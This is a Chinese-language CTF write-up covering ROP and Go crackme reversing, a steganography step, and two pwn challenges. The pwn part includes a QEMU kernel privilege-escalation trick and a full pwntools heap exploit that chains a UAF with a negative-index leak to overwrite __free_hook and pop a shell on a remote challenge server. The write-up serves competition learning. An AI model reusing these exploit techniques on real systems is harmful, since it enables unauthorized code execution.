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Reverse

ROP

解析data的ROP，一点一点还原

from pwn import *
opcode = open('data', 'rb').read()
opcode_gadget = opcode[0x30+8:]
for offset in range(0, len(opcode_gadget), 8):print(f'{hex(u64(opcode_gadget[offset:offset+8]))}')

提取出来密文，转成64位的

cipher = [0x98, 0x7A, 0xDF, 0x57, 0xC6, 0xE3, 0x18, 0xC7, 0x11, 0x07, 0xC7, 0xD4, 0x02, 0xD2, 0x9E,0x43, 0x3A, 0xCE, 0x32, 0x04, 0x33, 0x2D, 0x30, 0x30, 0xAB, 0x03, 0x84, 0xB2, 0xA9, 0x09, 0xAA, 0x40]
cipher=[int.from_bytes(bytes(cipher[i:i+8]), 'little')  for i in range(0,32,8)]

分析gadget都是通过设置rax和参数寄存器，然后call rax触发函数，函数只有4种

地址	效果
0x4011D6	异或两个64bit
0x401233	变种的异或，配合0x4011d6就是swap
0x401332	两个64bit相减
0x4013EE	检查输入是否满足uuid格式
0x401480	提取uuid中32位字符到bss段数组
0x40125D	两个64bit相加

流程是一开始将一个32位字符放到bss段中，这个bss贴近我们输入放入bss段的位置，参与到运算

然后开始rop链，读取42个字符，提取uuid中32位字符，进行加密运算，运算的最后一部分是swap的操作，测试得知顺序改变为[2,3,0,1]

最后对比密文跳转结果

照着指令写一个逆回来的过程

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
uint64_t bss_flag[] = {3472325009839672890, 4659547388917318571, 14346467054006008472, 4872562756463036177, 3545518422457791288, 3689401600665085541, 3906648618554712880, 7004559110426617186};
void add(int i,int j){bss_flag[i] -= bss_flag[j];
}void sub(int i,int j){bss_flag[i] += bss_flag[j];
}void xor1(int i,int j){bss_flag[i] ^= bss_flag[j];
}int main(){sub(0x0,0x7);add(0x1,0x5);sub(0x3,0x7);add(0x0,0x5);add(0x0,0x7);sub(0x3,0x7);add(0x0,0x5);xor1(0x2,0x5);xor1(0x2,0x5);sub(0x3,0x7);sub(0x2,0x6);xor1(0x0,0x7);add(0x2,0x4);add(0x1,0x4);xor1(0x1,0x7);xor1(0x0,0x7);sub(0x0,0x5);sub(0x0,0x7);sub(0x0,0x5);add(0x1,0x7);xor1(0x1,0x5);add(0x1,0x6);sub(0x1,0x4);xor1(0x2,0x4);add(0x1,0x4);sub(0x0,0x6);sub(0x2,0x7);add(0x1,0x6);sub(0x2,0x5);add(0x0,0x7);xor1(0x3,0x6);add(0x2,0x4);xor1(0x0,0x6);xor1(0x0,0x5);xor1(0x3,0x7);xor1(0x0,0x4);xor1(0x2,0x5);xor1(0x2,0x6);xor1(0x2,0x6);xor1(0x3,0x4);xor1(0x0,0x7);xor1(0x2,0x5);xor1(0x0,0x4);xor1(0x3,0x5);xor1(0x1,0x6);xor1(0x3,0x7);xor1(0x0,0x4);xor1(0x1,0x4);xor1(0x2,0x7);xor1(0x1,0x7);xor1(0x0,0x4);xor1(0x2,0x6);xor1(0x0,0x5);xor1(0x1,0x7);xor1(0x0,0x5);xor1(0x0,0x4);xor1(0x3,0x6);xor1(0x1,0x7);xor1(0x2,0x5);xor1(0x0,0x7);xor1(0x0,0x7);xor1(0x2,0x4);xor1(0x3,0x4);xor1(0x3,0x7);printf("%s",(char *)bss_flag);// flag{eb4781b3-e3c5-475e-8af4-2fa50468f485}
}

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crackme

go语言，一开始我ida还f5反编译不了，换了个才可以，难顶

直接sm4加密和rc4，sm4密钥写死在代码里

rc4的key在linese.txt里，密文也在里面

exp:

from binascii import unhexlify
from Crypto.Cipher import ARC4
from sm4 import SM4Keyc= unhexlify(b'cc53de43058c79e4e13dbfe4e1ece82ec7d70b0fe460d50a6e2dfbbdac0b22173124ac7dee560b026b9b4cf1394c9493ad62874b4ef2125bbe27f99827d2a801b1b994c90bc31caea1cc9dc09362b518')
key = b'd0cac74c1bbeea071817360e491585e8'
cipher = ARC4.new(key)
m = cipher.decrypt(c)
key0 = SM4Key(b'xc08asb890ajds0a')
print(key0.decrypt(m))

Misc

What is that

stegsolve直接切换几个通道就可以看到

pwn

hello

直接网上查到kernel pwn qemu 的非预期

ctrl+a然后c进入shell，cat flag没有权限，要再提权，删除/sbin/poweroff然后exit就可以到su权限，再cat flag就可以

heap

一个UAF+数组上溢出

这里可以输入负数，可以数组溢出就可以往上泄露地址，泄露出程序基地址后再相同手法修改free_hook就可以。

from pwn import *
context.log_level='debug'
#p=process('./pwn')
p=remote('47.95.8.59',42283)
elf=ELF('./pwn')
#libc=ELF('/usr/lib/freelibs/amd64/2.27-3ubuntu1.5_amd64/libc.so.6')
libc=ELF('./libc.so.6')def add(size):p.sendafter(b'>\n', b'1')p.sendafter(b'add?\n', str(size).encode())def dele(index):p.sendafter(b'>\n', b'2')p.sendafter(b'up?\n', str(index).encode())def edit(index,size,content):p.sendafter(b'>\n', b'3')p.sendafter(b'write?\n', str(index).encode())p.sendafter(b'write?\n', str(size).encode())p.sendafter(b'Content:', content)def show(index):p.sendafter(b'>\n', b'4')p.sendafter(b'review?\n', str(index).encode())show(-11)
p.recvuntil('Content:')
probase=u64(p.recv(6).ljust(8,b'\x00'))-0x4008
arraddr=probase+0x4060
add(0x10)
add(0x10)
add(0x10)
dele(0)
dele(1)
dele(2)
edit(1,8,p64(arraddr))
add(0x10)
add(0x10)
add(0x10)
edit(2,8,p64(probase+elf.got['puts']))
show(0)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts']
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
edit(2,8,p64(free_hook))
edit(0,8,p64(system))
add(0x10)
edit(3,8,b'/bin/sh\x00')
dele(3)
p.interactive()